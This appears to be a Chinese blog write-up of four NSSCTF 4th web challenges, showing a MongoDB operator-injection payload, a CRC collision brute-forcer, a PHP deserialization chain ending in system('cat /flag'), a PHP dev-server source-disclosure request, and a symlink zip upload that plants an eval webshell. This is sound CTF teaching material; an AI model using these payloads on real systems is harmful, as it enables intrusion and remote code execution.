NSSCTF-4th-web

ez_signin

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask, request, render_template, jsonify
from pymongo import MongoClient
import re

app = Flask(__name__)

client = MongoClient("mongodb://localhost:27017/")
db = client['aggie_bookstore']
books_collection = db['books']

def sanitize(input_str: str) -> str:
return re.sub(r'[^a-zA-Z0-9\s]', '', input_str)

@app.route('/')
def index():
return render_template('index.html', books=None)

@app.route('/search', methods=['GET', 'POST'])
def search():
query = {"$and": []}
books = []

if request.method == 'GET':
title = request.args.get('title', '').strip()
author = request.args.get('author', '').strip()

title_clean = sanitize(title)
author_clean = sanitize(author)

if title_clean:
query["$and"].append({"title": {"$eq": title_clean}})

if author_clean:
query["$and"].append({"author": {"$eq": author_clean}})

if query["$and"]:
books = list(books_collection.find(query))

return render_template('index.html', books=books)

elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)

title = data.get("title")
author = data.get("author")

if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})

if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})

if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])

return jsonify({"error": "Empty query"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

return jsonify({"error": "Unsupported Content-Type"}), 400

if __name__ == "__main__":
app.run("0.0.0.0", 8000)

其中有 POST 请求,可以用来查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
elif request.method == 'POST':
if request.content_type == 'application/json':
try:
data = request.get_json(force=True)

title = data.get("title")
author = data.get("author")

if isinstance(title, str):
title = sanitize(title)
query["$and"].append({"title": title})
elif isinstance(title, dict):
query["$and"].append({"title": title})

if isinstance(author, str):
author = sanitize(author)
query["$and"].append({"author": author})
elif isinstance(author, dict):
query["$and"].append({"author": author})

if query["$and"]:
books = list(books_collection.find(query))
return jsonify([
{"title": b.get("title"), "author": b.get("author"), "description": b.get("description")} for b in books
])

return jsonify({"error": "Empty query"}), 400

except Exception as e:
return jsonify({"error": str(e)}), 500

直接利用 * 查询所有的

1
2
3
4
{
"title": {"$ne": ""},
"author": {"$regex": " *"}
}

img

EzCRC

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
error_reporting(0);
ini_set('display_errors', 0);
highlight_file(__FILE__);


function compute_crc16($data) {
$checksum = 0xFFFF;
for ($i = 0; $i < strlen($data); $i++) {
$checksum ^= ord($data[$i]);
for ($j = 0; $j < 8; $j++) {
if ($checksum & 1) {
$checksum = (($checksum >> 1) ^ 0xA001);
} else {
$checksum >>= 1;
}
}
}
return $checksum;
}

function calculate_crc8($input) {
static $crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
];

$bytes = unpack('C*', $input);
$length = count($bytes);
$crc = 0;
for ($k = 1; $k <= $length; $k++) {
$crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
}
return $crc & 0xff;
}

$SECRET_PASS = "Enj0yNSSCTF4th!";
include "flag.php";

if (isset($_POST['pass']) && strlen($SECRET_PASS) == strlen($_POST['pass'])) {
$correct_pass_crc16 = compute_crc16($SECRET_PASS);
$correct_pass_crc8 = calculate_crc8($SECRET_PASS);

$user_input = $_POST['pass'];
$user_pass_crc16 = compute_crc16($user_input);
$user_pass_crc8 = calculate_crc8($user_input);

if ($SECRET_PASS === $user_input) {
die("这样不行");
}

if ($correct_pass_crc16 !== $user_pass_crc16) {
die("这样也不行");
}

if ($correct_pass_crc8 !== $user_pass_crc8) {
die("这样还是不行吧");
}

$granted_access = true;

if ($granted_access) {
echo "都到这份上了,flag就给你了: $FLAG";
} else {
echo "不不不";
}
} else {
echo "再试试";
}

?> 再试试

看源码可知是要满足传入的字符串的CRC16和CRC8要和Enj0yNSSCTF4th!的对应相等,长度也要相等,且字符串不能一样,根据提供的 crc16 和 crc8 算法利用脚本进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
import threading
import string
import itertools
import time
from queue import Queue

# 目标密码
SECRET_PASS = "Enj0yNSSCTF4th!"
PASS_LENGTH = len(SECRET_PASS)


# 实现与PHP相同的CRC16算法
def compute_crc16(data):
checksum = 0xFFFF
for c in data:
checksum ^= ord(c)
for _ in range(8):
if checksum & 1:
checksum = ((checksum >> 1) ^ 0xA001)
else:
checksum >>= 1
return checksum


# 实现与PHP相同的CRC8算法
def calculate_crc8(input_str):
crc8_table = [
0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
]

crc = 0
for c in input_str:
crc = crc8_table[(crc ^ ord(c)) & 0xff]
return crc & 0xff


# 计算目标CRC值
target_crc16 = compute_crc16(SECRET_PASS)
target_crc8 = calculate_crc8(SECRET_PASS)

print(f"目标密码: {SECRET_PASS}")
print(f"目标CRC16: 0x{target_crc16:04X}")
print(f"目标CRC8: 0x{target_crc8:02X}")

# 找到的符合条件的字符串
found = None
found_lock = threading.Lock()

# 工作队列
queue = Queue()


def worker():
global found
while True:
# 检查是否已找到结果
with found_lock:
if found is not None:
break

# 从队列获取任务
try:
candidate = queue.get(timeout=1)
except:
continue

# 跳过与原密码相同的字符串
if candidate == SECRET_PASS:
queue.task_done()
continue

# 计算CRC16
crc16 = compute_crc16(candidate)

# 检查CRC16是否匹配
if crc16 == target_crc16:
print(f"找到CRC16匹配: {candidate}")

# 计算并检查CRC8
crc8 = calculate_crc8(candidate)
if crc8 == target_crc8:
with found_lock:
found = candidate
print(f"找到同时匹配CRC16和CRC8的字符串: {candidate}")
break

queue.task_done()


def main(threads=4):
start_time = time.time()

# 生成可能的字符集(可打印ASCII字符)
chars = string.printable.strip() # 去除空格和控制字符

# 启动工作线程
for _ in range(threads):
t = threading.Thread(target=worker)
t.daemon = True
t.start()

# 生成所有可能的字符串并加入队列
try:
# 生成指定长度的所有可能组合
for candidate_tuple in itertools.product(chars, repeat=PASS_LENGTH):
with found_lock:
if found is not None:
break

candidate = ''.join(candidate_tuple)
queue.put(candidate)

# 等待队列处理完成
queue.join()

except KeyboardInterrupt:
print("\n用户中断")

# 输出结果
with found_lock:
if found:
print(f"\n成功找到符合条件的字符串: {found}")
print(f"验证:")
print(f"CRC16: 0x{compute_crc16(found):04X} (目标: 0x{target_crc16:04X})")
print(f"CRC8: 0x{calculate_crc8(found):02X} (目标: 0x{target_crc8:02X})")
else:
print("\n未找到符合条件的字符串")

print(f"耗时: {time.time() - start_time:.2f}秒")


if __name__ == "__main__":
import sys

# 允许用户指定线程数,默认为4
threads = int(sys.argv[1]) if len(sys.argv) > 1 else 100
main(threads)

最后可以得到 000000000013b|k

img

img

[mpga]filesystem

img

可以下载www.zip,得到index.php源码文件,这是 PHP 部分的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
<?php

class ApplicationContext{
public $contextName;

public function __construct(){
$this->contextName = 'ApplicationContext';
}

public function __destruct(){
$this->contextName = strtolower($this->contextName);
}
}

class ContentProcessor{
private $processedContent;
public $callbackFunction;

public function __construct(){

$this->processedContent = new FunctionInvoker();
}

public function __get($key){

if (property_exists($this, $key)) {
if (is_object($this->$key) && is_string($this->callbackFunction)) {

$this->$key->{$this->callbackFunction}($_POST['cmd']);
}
}
}
}

class FileManager{
public $targetFile;
public $responseData = 'default_response';

public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}

public function filterPath(){

if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
die('文件路径不符合规范');
}
}

public function performWriteOperation($var){

$targetObject = $this->targetFile;
$value = $targetObject->$var;
}

public function getFileHash(){
$this->filterPath();

if (is_string($this->targetFile)) {
if (file_exists($this->targetFile)) {
$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希: " . htmlspecialchars($md5_hash);
} else {
die("文件未找到");
}
} else if (is_object($this->targetFile)) {
try {

$md5_hash = md5_file($this->targetFile);
return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
} catch (TypeError $e) {


return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
}
} else {
die("文件未找到");
}
}

public function __toString(){
if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
$method = $_POST['method'];
$var = isset($_POST['var']) ? $_POST['var'] : null;
$this->$method($var);
}
return $this->responseData;
}
}

class FunctionInvoker{
public $functionName;
public $functionArguments;
public function __call($name, $arg){

if (function_exists($name)) {
$name($arg[0]);
}
}
}

$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = '';
$upload_dir = "upload/";

if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

if ($action === 'upload_file') {
if(isset($_POST['submit'])){
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
$allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
$file_info = pathinfo($_FILES['upload_file']['name']);
$file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');

if (!in_array($file_extension, $allowed_extensions)) {
$output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
} else {

$unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
$upload_path = $upload_dir . $unique_filename;
$temp_file = $_FILES['upload_file']['tmp_name'];

if (move_uploaded_file($temp_file, $upload_path)) {
$output = "<p class='text-green-600'>文件上传成功!</p>";
$output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
} else {
$output = "<p class='text-red-600'>上传失败!</p>";
}
}
} else {
$output = "<p class='text-red-600'>请选择一个文件上传。</p>";
}
}
}

if ($action === 'home' && isset($_POST['submit_md5'])) {
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

if (!empty($filename_param)) {
$file_object = @unserialize($filename_param);
if ($file_object === false || !($file_object instanceof FileManager)) {
$file_object = new FileManager($filename_param);
}
$output = $file_object->getFileHash();
} else {
$output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
}
}

?>

在进行校验MD5时存在反序列化漏洞

  1. 服务器对我们发送的序列化字符串进行反序列化,得到FileManager对象(fm1)
  2. 调用fm1->getFileHash()方法,该方法会调用filterPath()
  3. filterPath()中对fm1->targetFile(即 fm2)进行正则匹配,触发fm2->__toString()
  4. __toString()方法根据method参数调用performWriteOperation()
  5. performWriteOperation()访问fm2->targetFile(即 ContentProcessor 对象)的processedContent属性
  6. 访问私有属性触发ContentProcessor->__get()方法
  7. __get()调用FunctionInvoker->system()(由callbackFunction指定)
  8. FunctionInvoker->__call()执行system()函数,参数为cmd的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class ContentProcessor{
private $processedContent;
public $callbackFunction;

public function __construct(){
$this->processedContent = new FunctionInvoker();
$this->callbackFunction = 'system'; // 要执行的函数名
}
}

class FileManager{
public $targetFile;
public $responseData = 'default_response';

public function __construct($targetFile = null){
$this->targetFile = $targetFile;
}
}

class FunctionInvoker{}

// 构造对象链
$cp = new ContentProcessor();
$fm2 = new FileManager($cp);
$fm1 = new FileManager($fm2);

// 生成序列化字符串
echo urlencode(serialize($fm1));
?>

// O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D
submit_md5=1&file_to_check=O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A0%3A%7B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A16%3A%22default_response%22%3B%7D&method=performWriteOperation&var=processedContent&cmd=cat /flag

img

ez_upload

随便访问个页面得到这样的报错,是 phpdevelopment server页面

image-20250825230707565

可以搜出相关的漏洞:PHP<=7.4.21 Development Server源码泄露漏洞,通过php -S开起的内置WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码

直接利用POC,这里要将自动更新Content-Length关掉

1
2
3
4
5
6
7
GET /index.php HTTP/1.1
Host: 47.122.75.126:2333


GET /123.123 HTTP/1.1


image-20250825231355492

可以泄露到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
<title>CTF Upload</title>
</head>
<body>
<h2>Upload your zip file</h2>
<form method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="Upload" />
</form>
</body>
</html>

<?php
error_reporting(0);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
?>
1
$finfo = finfo_open(FILEINFO_MIME_TYPE);

这行代码使用finfo_open函数创建一个新的文件信息 资源,用于检查文件的MIME类型。**FILEINFO_MIME_TYPE:**是一个常量,表示我们希望获取文件的 MIME类型。

1
if (finfo_file($finfo, $_FILES[“file”][“tmp_name”]) === ‘application/zip’){

这行代码使用finfo_file函数检查上传文件的MIME类型是否为application/zip,这里说明要上传一个 ZIP 文件

1
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);

这行代码利用exec函数执行命令,将上传的 ZIP 文件解压到/tmp目录下,这里使用-o选项表示覆盖已有的文件


在 Linux 中**链接(Link)**就像是“快捷方式”,本质是在文件系统中为一个文件创建另一个访问入口

Linux 中的链接分为硬链接软链接

软链接(Symbolic Link),也叫符号链接,是一种特殊类型的文件,在 Unix、Linux、macOS 等类 Unix 操作系统以及 Windows 操作系统(称为符号链接或快捷方式 )中都有支持

软链接类似于 Windows 系统中的“快捷方式”,它本质上是一个 指向原始文件路径的文件,里面只保存了源文件的路径。

例如:在a文件夹下存在一个文件hello,如果在b文件夹下也需要访问hello文件,那么一个做法就是把hello复制到b文件夹下,另一个做法就是在b文件夹下建立 hello的软连接。通过软连接,就不需要复制文件了,相当于文件只有一份,但在两个文件夹下都可以访问。

如:ln -s /home/user/file.txt /tmp/shortcut.txt

这个命令创建了一个指向 /home/user/file.txt 的软链接,位于 /tmp/shortcut.txt

软链接文件上传的适用范围:

  • 有文件上传接口,但是上传文件的目录不能确定
  • 可以上传zip文件并且会将文件解压到上传目录下
  • 可以getshell的文件可以绕过waf成功上传

这里可以利用软链接进行绕过,POC 如下,要打包上传两个压缩包

先单独创建个文件夹,然后创建第一个软链接的压缩包:

1
2
ln -s /var/www/html link
zip --symlinks link.zip link

image-20250826111103694

然后删掉link文件夹,重新新建个link文件夹(要同名的),创建第二个压缩包:

1
2
3
4
mkdir link
cd link
echo "<?php eval(\$_POST[1]);?>" > shell.php
zip -r poc.zip link

image-20250826115456677

解析:

1
ln -s /var/www/html link

在当前目录创建一个名为link的软链接,指向目标服务器的 Web 目录/var/www/html,这样在/tmp目录下的操作都会作用到/var/www/html目录下

1
zip --symlinks link.zip poc

使用zip命令将软链接link打包成link.zip--symlinks参数确保打包的是软链接本身,而不是链接指向的目录内容。

1
2
3
mkdir link
cd link
echo "<?php eval(\$_POST[1]);?>" > shell.php

先创建link目录,然后进入该目录并生成一个带有一句话木马的shell.php文件

1
zip -r poc.zip link

将包含恶意脚本的link目录递归打包成poc.zip

具体过程:

先传link.zip

image-20250826111739754

这是我在自己的vps搭建的环境,所以可以到docker交互界面查看文件,可以看到在/tmp目录下有了link文件夹,连接到/var/www/html这个目录,可以从/tmp目录下的这个link文件夹中直接访问到/var/www/html目录下的文件,同时也可以对其目录下的文件进行操作

image-20250826111846763

然后再传poc.zip

image-20250826112219768

poc.zip上传到/tmp目录被解压后会是个link文件夹,然后这个目录下本来就有个link目录,所以解压后的link中的文件就会到了link目录中,然后link目录链接的是/var/www/html,所以因为软链接的作用,在link目录下生成的shell.php文件,也就相当于在/var/www/html目录下生成了

image-20250826112447780

所以现在就可以直接访问shell.php进行RCE了

image-20250826115639243


NSSCTF-4th-web
https://yschen20.github.io/2025/08/25/NSSCTF-4th-web/
作者
Suzen
发布于
2025年8月25日
更新于
2025年8月26日
许可协议